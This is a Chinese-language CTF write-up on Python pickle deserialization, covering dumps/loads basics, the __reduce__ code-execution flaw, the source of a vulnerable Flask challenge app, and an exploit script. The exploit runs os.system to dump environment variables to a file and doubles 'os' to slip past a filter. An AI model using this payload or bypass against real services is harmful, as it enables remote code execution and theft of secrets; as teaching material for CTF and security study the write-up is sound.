pickle反序列化

发布时间 2023-03-27 13:14:55作者: V3g3t4ble

pickle是python语言的一个标准模块,实现了基本的数据序列化和反序列化。

函数 功能
dumps 对象序列化为二进制字符串
dump 对象序列化为文件对象
loads 二进制字符串反序列化为对象
load 从文件读取数据反序列化为对象

demo

# 序列化
import pickle
import base64
class demo():
    def __init__(self):
        self.name="demo"
t=demo()
print(base64.b64encode(pickle.dumps(t)))
# 反序列化
import pickle
import base64
class demo():
    def __init__(self):
        self.name="demo"
data=base64.b64decode("gASVJQAAAAAAAACMCF9fbWFpbl9flIwEZGVtb5STlCmBlH2UjARuYW1llGgBc2Iu")
t=pickle.loads(data)
print(t.name)

pickle反序列化漏洞产生于__reduce__方法,类似于php的__wakeup
__reduce__方法返回一个元组时 , 第一个元素是一个可调用对象 , 这个对象会在创建对象时被调用 . 第二个元素是可调用对象的参数 , 同样是一个元组。
demo

class exp:
    def __reduce__(self):
        return eval, ("__import__('os').system('env > 1.txt')",)

例题

HZNUCTF ezpickle

import base64 
import pickle 
from flask import Flask, request 
app = Flask(__name__)
@app.route('/')
	def index():
		with open('app.py', 'r') as f:
			return f.read() 
@app.route('/calc', methods=['GET'])
def getFlag():
	payload = request.args.get("payload") 
	pickle.loads(base64.b64decode(payload).replace(b'os', b''))
	return "ganbadie!"
@app.route('/readFile', methods=['GET']) 
def readFile():
	filename = request.args.get('filename').replace("flag", "????")
	with open(filename, 'r') as f:
		return f.read()
if __name__ == '__main__':
	app.run(host='0.0.0.0', port=80)

可以看到明显的反序列化标志,os替换为空可以双写绕过
无回显,且不出网,将输出写到文件,通过readFile路由读取
exp

from pickle import *
from base64 import *
class exp:
    def __reduce__(self):
        return eval, ("__import__('os').system('env > 1.txt')",)
t = exp()
print(b64encode(dumps(t).replace(b'os', b'ooss')))